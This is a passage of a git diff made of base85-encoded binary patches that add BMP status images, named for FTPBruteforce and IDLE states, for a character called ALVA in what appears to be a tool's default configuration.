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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/status/FTPBruteforce/FTPBruteforce1.bmp b/resources/default_config/characters/ALVA/status/FTPBruteforce/FTPBruteforce1.bmp new file mode 100644 index 0000000000000000000000000000000000000000..378babe74387fedc1ec45ec6fec4d4f296a7d7e0 GIT binary patch literal 18462 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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/status/IDLE/IDLE1.bmp b/resources/default_config/characters/ALVA/status/IDLE/IDLE1.bmp new file mode 100644 index 0000000000000000000000000000000000000000..ae02811a8c2d15a8a4b81d0a5d41347658dd0189 GIT binary patch literal 18462 zcmc(G1zc6h`!{x=;#!DUpn!m+AV_z2cXvrk!=<~syTL*f6)aRbq`L(qFU_s<&gJgz zZ~y;ycfIUyKkqv}9_F5zGxL1siJ5uk90BR;Vg!5XKDgci|7Cvte}Lff-u*dI0)qN8 zxc_@Mz-4@YY2vr)W8>pv6Jui&AWcq9OwCM8&rVLyPkx`D0yHx>IWs#s^?h<`dU9%N z@;_-}auU?vBkY5KCV!);y~;CF)3Z}E*hVI2=CKV<&rVFvOiWBojDxPRo$k?ZTNkeK&}oUm%0&)ZHONYi0>bFrs@!rHGp;}UIN+~uSSel0oomV zvGX4S_h0Q!f(oy8Cf;mMy+eHegqUwcEVd(;dXcNc$hAq-<}7Mw34`AK?>L1B2r&Cf zd)*;-R<{;=wx;VhMqaG;mB72Q;hpKL?a3=`@ypH83yslBO)<+Yamy`%ctahfae9K<# zD_a|RwK4N`b7=s%y9pS<0NPL5r(99nD;pDU;XOGkoyqWyBzQ*(yfY2nl?m_4f_G=F ze#=_z$%4kqpoxm@;o{wq5@_l%YP4kKTh>}n?tiE|ckMS?>CE2j%ZDZ^(PQP?L&d1k zGH9}LXP{uYGZWsEjU7eM^0!R*w~W=!wAGH()sEzq&Xm>O{Pn3%Cb_qW2G~5wPWwvnYGlGzTICi*OHMPVs4`#sK7>VD8Uisp+EdC5iwY} z)S3?emJMjFD|@XwXRRv--jxdoWY)S;mzqO1W}Elmp??PQ*YclX1v-L8V^M;HMxzm% zKi0=yt$a&gZcAJSnu(Qb`dU}!dUrN*q;R{x$Xr?QI>9+EA}(cWBLzxzWQPNVhX{xjlWkJ!7>4m`UoM6{M^H^y78NZ8+cxtHo%%;QlRE(8?Z22!Yr{p|-IN zLl6pyL~SoY8{^PQJM^O#GxcnHAb+MYdE{MUn4Rtw0wQZ#i$If#0Nd(7>leWWl?o(E zBnMBv%<`W2lGOepq~%3W^Yh@2>d^L=p|h>oR%#Md1ee@}eEdwxe6;iYjLQO*(|L~F z6J@zOSf9Mmp1#>%fEh1`CLW{5pYKf8Y)pMw|IxR#zVIt!$SqvvcY)x3{^|9vvEqPk ztgnW9xvH{>Xmbgdq(|Y}*xX(pn;d%g=1Ec{%-&E_jf+?E4#&OoH0KT;(;|_G&?)zE zc;#*R)YJU2*TZT*sm%KaZ&RMRBz;Xln3xNY=tXWZVs6PRd^}f~NDrR1pwfx6dlg_+ z?W&pYu2&Rn^U~#k*L8xk%olH|F!5^g@pxLO7N!L>e6AXs=-J*`$MG=G({68Mr0_uC zk%{)qXfL?=yJY?pD7g6-Siy53?QCtBsjJEym&~BaiMyR7e1;R|V44)_uO})cb&E%g zh*#;9vdv}ZfZNf5+ zu`q+7ID@`8nJzbvsZ8yLCe87y26wbfq&-c=-E{;Vw0RvJwUa!=W7v=1(Y&nWOAhlO z^Lcp5LFufr#6=N_TfC;S%BjJDg=vw(6ztCDTrz2L)d*EY>1h|fj{_wHR`ypw{~9X_ zg#v}GE%nmG!ZmE4U$K68b-$_d-dhTS8>|F(tWTMwQRY5puB~DFSi|-qn;|QjI^64y z=cS|PXn&#PxyH|XQ&gB*hL>D~^#(WNWtLwKpFDr$EbOj-8got(Q$`{~S`uAqGGpq! zUzm;^I!1nml9fi}9<3!0K;h1KgQbF^1<|$!3(C(sVv_@gqI2g z*4*yK3ZCPRpa@N)O)qDtDyDmyL6hrC?j1uLt#?g}?kuGWot6f-o++=64WEjSph~i$ zd9Z+n5iQqcLc&YOh#3j#=}*$#Jx0rLg6{T-+eC+sDPO-G#3mQSqif5dZonk1#Hgyl zZ7;&2e~W}#`~qJPZKylBTM|uL$-Sy_mRD(Xd0`aMk{84@sI|+5R{Vumf~A%#xyS9# 